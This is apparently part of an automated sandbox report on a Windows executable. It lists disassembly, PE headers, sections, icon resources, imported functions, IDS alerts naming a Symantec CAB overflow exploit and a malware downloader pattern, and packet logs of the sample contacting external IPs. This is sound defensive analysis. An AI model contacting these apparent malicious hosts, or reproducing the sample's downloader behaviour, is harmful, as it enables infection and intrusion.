cmp cx, dx |
jne 00007FE1C08777F9h |
inc eax |
inc eax |
cmp word ptr [eax], dx |
je 00007FE1C08777EBh |
add word ptr [eax], 0000h |
Programming Language: |
|
Name | Virtual Address | Virtual Size | Is in Section |
---|---|---|---|
IMAGE_DIRECTORY_ENTRY_EXPORT | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_IMPORT | 0x7494 | 0xb4 | .rdata |
IMAGE_DIRECTORY_ENTRY_RESOURCE | 0x48000 | 0x55918 | .rsrc |
IMAGE_DIRECTORY_ENTRY_EXCEPTION | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_SECURITY | 0xd4ef8 | 0x17a8 | |
IMAGE_DIRECTORY_ENTRY_BASERELOC | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_DEBUG | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_COPYRIGHT | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_GLOBALPTR | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_TLS | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_IAT | 0x7000 | 0x2b8 | .rdata |
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_RESERVED | 0x0 | 0x0 |
Name | Virtual Address | Virtual Size | Raw Size | MD5 | Xored PE | ZLIB Complexity | File Type | Entropy | Characteristics |
---|---|---|---|---|---|---|---|---|---|
.text | 0x1000 | 0x5e66 | 0x6000 | e8f12472e91b02deb619070e6ee7f1f4 | False | 0.6566569010416666 | data | 6.419409887460116 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ |
.rdata | 0x7000 | 0x1354 | 0x1400 | 2222fe44ebbadbc32af32dfc9c88e48e | False | 0.4306640625 | data | 5.037511188789184 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ |
.data | 0x9000 | 0x202d8 | 0x600 | a5ec1b720d350c6303a7aba8d85072bf | False | 0.4733072916666667 | data | 3.7600484096214832 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE |
.ndata | 0x2a000 | 0x1e000 | 0x0 | d41d8cd98f00b204e9800998ecf8427e | False | 0 | empty | 0.0 | IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE |
.rsrc | 0x48000 | 0x55918 | 0x55a00 | 3d6a8b72f49b497aa2f6e828f36e2071 | False | 0.6818487682481752 | data | 6.750089044557724 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ |
Name | RVA | Size | Type | Language | Country | ZLIB Complexity |
---|---|---|---|---|---|---|
RT_ICON | 0x486e8 | 0x10828 | Device independent bitmap graphic, 128 x 256 x 32, image size 67584 | English | United States | 0.48516798769667574 |
RT_ICON | 0x58f10 | 0x104d3 | PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced | English | United States | 1.0004043671653862 |
RT_ICON | 0x693e8 | 0x94a8 | Device independent bitmap graphic, 96 x 192 x 32, image size 38016 | English | United States | 0.5461162497372294 |
RT_ICON | 0x72890 | 0x6b94 | PNG image data, 256 x 256, 8-bit colormap, non-interlaced | English | United States | 0.995279593318809 |
RT_ICON | 0x79428 | 0x5488 | Device independent bitmap graphic, 72 x 144 x 32, image size 21600 | English | United States | 0.5835951940850277 |
RT_ICON | 0x7e8b0 | 0x4c28 | Device independent bitmap graphic, 128 x 256 x 8, image size 16384 | English | United States | 0.46250512925728354 |
RT_ICON | 0x834d8 | 0x4228 | Device independent bitmap graphic, 64 x 128 x 32, image size 16896 | English | United States | 0.5978979688238073 |
RT_ICON | 0x87700 | 0x2d6f | PNG image data, 256 x 256, 8-bit colormap, non-interlaced | English | United States | 0.9944114865445791 |
RT_ICON | 0x8a470 | 0x2ca8 | Device independent bitmap graphic, 96 x 192 x 8, image size 9216 | English | United States | 0.5530090972708187 |
RT_ICON | 0x8d118 | 0x2868 | Device independent bitmap graphic, 128 x 256 x 4, image size 8192 | English | United States | 0.31254833720030933 |
RT_ICON | 0x8f980 | 0x25a8 | Device independent bitmap graphic, 48 x 96 x 32, image size 9600 | English | United States | 0.6519709543568465 |
RT_ICON | 0x91f28 | 0x1bc8 | Device independent bitmap graphic, 72 x 144 x 8, image size 5184 | English | United States | 0.6259842519685039 |
RT_ICON | 0x93af0 | 0x16e8 | Device independent bitmap graphic, 96 x 192 x 4, image size 4608 | English | United States | 0.3922237380627558 |
RT_ICON | 0x951d8 | 0x1628 | Device independent bitmap graphic, 64 x 128 x 8, image size 4096 | English | United States | 0.68688293370945 |
RT_ICON | 0x96800 | 0x10a8 | Device independent bitmap graphic, 32 x 64 x 32, image size 4224 | English | United States | 0.7211538461538461 |
RT_ICON | 0x978a8 | 0xea8 | Device independent bitmap graphic, 48 x 96 x 8, image size 2304 | English | United States | 0.7316098081023454 |
RT_ICON | 0x98750 | 0xde8 | Device independent bitmap graphic, 72 x 144 x 4, image size 2592 | English | United States | 0.4393258426966292 |
RT_ICON | 0x99538 | 0xa68 | Device independent bitmap graphic, 64 x 128 x 4, image size 2048 | English | United States | 0.5041291291291291 |
RT_ICON | 0x99fa0 | 0x988 | Device independent bitmap graphic, 24 x 48 x 32, image size 2400 | English | United States | 0.7872950819672131 |
RT_ICON | 0x9a928 | 0x8a8 | Device independent bitmap graphic, 32 x 64 x 8, image size 1024 | English | United States | 0.8375451263537906 |
RT_ICON | 0x9b1d0 | 0x6c8 | Device independent bitmap graphic, 24 x 48 x 8, image size 576 | English | United States | 0.875 |
RT_ICON | 0x9b898 | 0x668 | Device independent bitmap graphic, 48 x 96 x 4, image size 1152 | English | United States | 0.5682926829268292 |
RT_ICON | 0x9bf00 | 0x568 | Device independent bitmap graphic, 16 x 32 x 8, image size 256 | English | United States | 0.7890173410404624 |
RT_ICON | 0x9c468 | 0x468 | Device independent bitmap graphic, 16 x 32 x 32, image size 1088 | English | United States | 0.8625886524822695 |
RT_ICON | 0x9c8d0 | 0x2e8 | Device independent bitmap graphic, 32 x 64 x 4, image size 512 | English | United States | 0.7204301075268817 |
RT_ICON | 0x9cbb8 | 0x1e8 | Device independent bitmap graphic, 24 x 48 x 4, image size 288 | English | United States | 0.805327868852459 |
RT_ICON | 0x9cda0 | 0x128 | Device independent bitmap graphic, 16 x 32 x 4, image size 128 | English | United States | 0.8040540540540541 |
RT_DIALOG | 0x9cec8 | 0x120 | data | English | United States | 0.5138888888888888 |
RT_DIALOG | 0x9cfe8 | 0x11c | data | English | United States | 0.6056338028169014 |
RT_DIALOG | 0x9d108 | 0xc4 | data | English | United States | 0.5918367346938775 |
RT_DIALOG | 0x9d1d0 | 0x60 | data | English | United States | 0.7291666666666666 |
RT_GROUP_ICON | 0x9d230 | 0x180 | Targa image data - Map 32 x 1235 x 1 +1 | English | United States | 0.5442708333333334 |
RT_VERSION | 0x9d3b0 | 0x260 | data | English | United States | 0.5263157894736842 |
RT_MANIFEST | 0x9d610 | 0x305 | XML 1.0 document, ASCII text, with very long lines (773), with no line terminators | English | United States | 0.5614489003880984 |
DLL | Import |
---|---|
KERNEL32.dll | CompareFileTime, SearchPathW, SetFileTime, CloseHandle, GetShortPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, GetFullPathNameW, CreateDirectoryW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, SetFileAttributesW, ExpandEnvironmentStringsW, SetErrorMode, LoadLibraryW, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, lstrcpyA, lstrcpyW, lstrcatW, GetSystemDirectoryW, GetVersion, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetModuleHandleW, lstrcmpiW, lstrcmpW, WaitForSingleObject, GlobalFree, GlobalAlloc, LoadLibraryExW, GetExitCodeProcess, FreeLibrary, WritePrivateProfileStringW, GetCommandLineW, GetTempPathW, GetPrivateProfileStringW, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, WriteFile, lstrlenA, WideCharToMultiByte |
USER32.dll | EndDialog, ScreenToClient, GetWindowRect, RegisterClassW, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, wsprintfW, CreateWindowExW, SystemParametersInfoW, AppendMenuW, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, GetDC, SetWindowLongW, LoadImageW, SendMessageTimeoutW, FindWindowExW, EmptyClipboard, OpenClipboard, TrackPopupMenu, EndPaint, ShowWindow, GetDlgItem, IsWindow, SetForegroundWindow |
GDI32.dll | SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor |
SHELL32.dll | SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW |
ADVAPI32.dll | RegCloseKey, RegOpenKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW |
COMCTL32.dll | ImageList_Create, ImageList_AddMasked, ImageList_Destroy |
ole32.dll | CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize |
VERSION.dll | GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW |
Language of compilation system | Country where language is spoken | Map |
---|---|---|
English | United States |
Timestamp | Protocol | SID | Signature | Source Port | Dest Port | Source IP | Dest IP |
---|---|---|---|---|---|---|---|
2024-07-25T10:13:50.435466+0200 | TCP | 2022930 | ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow | 443 | 59958 | 52.165.165.26 | 192.168.2.5 |
2024-07-25T10:13:56.708885+0200 | TCP | 2803274 | ETPRO MALWARE Common Downloader Header Pattern UH | 59960 | 80 | 192.168.2.5 | 132.226.247.73 |
2024-07-25T10:13:57.311360+0200 | TCP | 2803305 | ETPRO MALWARE Common Downloader Header Pattern H | 59962 | 443 | 192.168.2.5 | 188.114.97.3 |
2024-07-25T10:13:53.606674+0200 | TCP | 2803270 | ETPRO MALWARE Common Downloader Header Pattern UHCa | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
2024-07-25T10:13:59.599663+0200 | TCP | 2803274 | ETPRO MALWARE Common Downloader Header Pattern UH | 59965 | 80 | 192.168.2.5 | 132.226.247.73 |
2024-07-25T10:13:22.527029+0200 | TCP | 2022930 | ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow | 443 | 49706 | 52.165.165.26 | 192.168.2.5 |
2024-07-25T10:13:58.302622+0200 | TCP | 2803274 | ETPRO MALWARE Common Downloader Header Pattern UH | 59963 | 80 | 192.168.2.5 | 132.226.247.73 |
2024-07-25T10:13:55.099487+0200 | TCP | 2803274 | ETPRO MALWARE Common Downloader Header Pattern UH | 59960 | 80 | 192.168.2.5 | 132.226.247.73 |
Timestamp | Source Port | Dest Port | Source IP | Dest IP |
---|---|---|---|---|
Jul 25, 2024 10:13:52.877051115 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:52.877109051 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:52.877201080 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:52.887154102 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:52.887192011 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.419739008 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.419868946 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.468055010 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.468085051 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.469166040 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.469239950 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.473808050 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.516498089 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.606771946 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.606834888 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.606863976 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.606877089 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.606930017 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.606971025 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.619479895 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.619610071 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.692306995 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.692553997 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.700710058 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.700820923 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.705749035 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.705823898 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.711658001 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.711729050 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.782490969 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.782633066 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.787026882 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.787101984 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.791909933 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.791985989 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.797642946 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.797745943 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.799637079 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.799707890 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.803194046 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.803270102 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.806737900 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.806806087 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.811366081 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.811443090 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.876174927 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.876262903 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.879324913 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.879398108 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.881556988 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.881618977 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.881629944 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.881710052 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.881757975 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.895852089 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.895874977 CEST | 443 | 59959 | 108.167.181.251 | 192.168.2.5 |
Jul 25, 2024 10:13:53.895886898 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:53.899101973 CEST | 59959 | 443 | 192.168.2.5 | 108.167.181.251 |
Jul 25, 2024 10:13:54.153666019 CEST | 59960 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:13:54.158588886 CEST | 80 | 59960 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:13:54.159122944 CEST | 59960 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:13:54.159282923 CEST | 59960 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:13:54.164932966 CEST | 80 | 59960 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:13:54.835649014 CEST | 80 | 59960 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:13:54.840125084 CEST | 59960 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:13:54.846110106 CEST | 80 | 59960 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:13:55.047537088 CEST | 80 | 59960 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:13:55.099487066 CEST | 59960 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:13:55.814357042 CEST | 59961 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:55.814398050 CEST | 443 | 59961 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:55.816509962 CEST | 59961 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:55.816509962 CEST | 59961 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:55.816551924 CEST | 443 | 59961 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:56.294677019 CEST | 443 | 59961 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:56.294764042 CEST | 59961 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:56.299112082 CEST | 59961 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:56.299124002 CEST | 443 | 59961 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:56.299412966 CEST | 443 | 59961 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:56.305948019 CEST | 59961 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:56.348506927 CEST | 443 | 59961 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:56.429713011 CEST | 443 | 59961 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:56.429824114 CEST | 443 | 59961 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:56.429940939 CEST | 59961 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:56.436502934 CEST | 59961 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:56.445100069 CEST | 59960 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:13:56.450304031 CEST | 80 | 59960 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:13:56.655008078 CEST | 80 | 59960 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:13:56.657886982 CEST | 59962 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:56.657917976 CEST | 443 | 59962 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:56.658282995 CEST | 59962 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:56.658282995 CEST | 59962 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:56.658309937 CEST | 443 | 59962 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:56.708884954 CEST | 59960 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:13:57.170716047 CEST | 443 | 59962 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:57.175082922 CEST | 59962 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:57.175102949 CEST | 443 | 59962 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:57.311369896 CEST | 443 | 59962 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:57.311465979 CEST | 443 | 59962 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:57.311635971 CEST | 59962 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:57.312243938 CEST | 59962 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:57.348191977 CEST | 59960 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:13:57.349436045 CEST | 59963 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:13:57.577461958 CEST | 80 | 59963 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:13:57.577493906 CEST | 80 | 59960 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:13:57.577545881 CEST | 59963 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:13:57.577584028 CEST | 59960 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:13:57.577697992 CEST | 59963 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:13:57.584144115 CEST | 80 | 59963 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:13:58.249696016 CEST | 80 | 59963 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:13:58.251043081 CEST | 59964 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:58.251080990 CEST | 443 | 59964 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:58.251213074 CEST | 59964 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:58.251509905 CEST | 59964 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:58.251529932 CEST | 443 | 59964 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:58.302622080 CEST | 59963 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:13:58.712469101 CEST | 443 | 59964 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:58.714042902 CEST | 59964 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:58.714066029 CEST | 443 | 59964 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:58.860058069 CEST | 443 | 59964 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:58.860151052 CEST | 443 | 59964 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:58.860503912 CEST | 59964 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:58.860771894 CEST | 59964 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:58.863718987 CEST | 59963 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:13:58.864912033 CEST | 59965 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:13:58.869600058 CEST | 80 | 59963 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:13:58.869668961 CEST | 59963 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:13:58.869951963 CEST | 80 | 59965 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:13:58.870014906 CEST | 59965 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:13:58.870138884 CEST | 59965 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:13:58.875057936 CEST | 80 | 59965 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:13:59.547147989 CEST | 80 | 59965 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:13:59.548285961 CEST | 59966 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:59.548317909 CEST | 443 | 59966 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:59.548383951 CEST | 59966 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:59.548666954 CEST | 59966 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:13:59.548675060 CEST | 443 | 59966 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:13:59.599663019 CEST | 59965 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:00.043729067 CEST | 443 | 59966 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:00.047185898 CEST | 59966 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:00.047204018 CEST | 443 | 59966 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:00.198414087 CEST | 443 | 59966 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:00.198498964 CEST | 443 | 59966 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:00.198545933 CEST | 59966 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:00.199012041 CEST | 59966 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:00.203188896 CEST | 59967 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:00.212183952 CEST | 80 | 59967 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:14:00.212280035 CEST | 59967 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:00.212385893 CEST | 59967 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:00.217685938 CEST | 80 | 59967 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:14:00.907155991 CEST | 80 | 59967 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:14:00.908579111 CEST | 59968 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:00.908618927 CEST | 443 | 59968 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:00.908898115 CEST | 59968 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:00.908996105 CEST | 59968 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:00.909004927 CEST | 443 | 59968 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:00.958873034 CEST | 59967 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:01.410805941 CEST | 443 | 59968 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:01.412528992 CEST | 59968 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:01.412542105 CEST | 443 | 59968 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:01.559304953 CEST | 443 | 59968 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:01.559392929 CEST | 443 | 59968 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:01.559803009 CEST | 59968 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:01.560503006 CEST | 59968 | 443 | 192.168.2.5 | 188.114.97.3 |
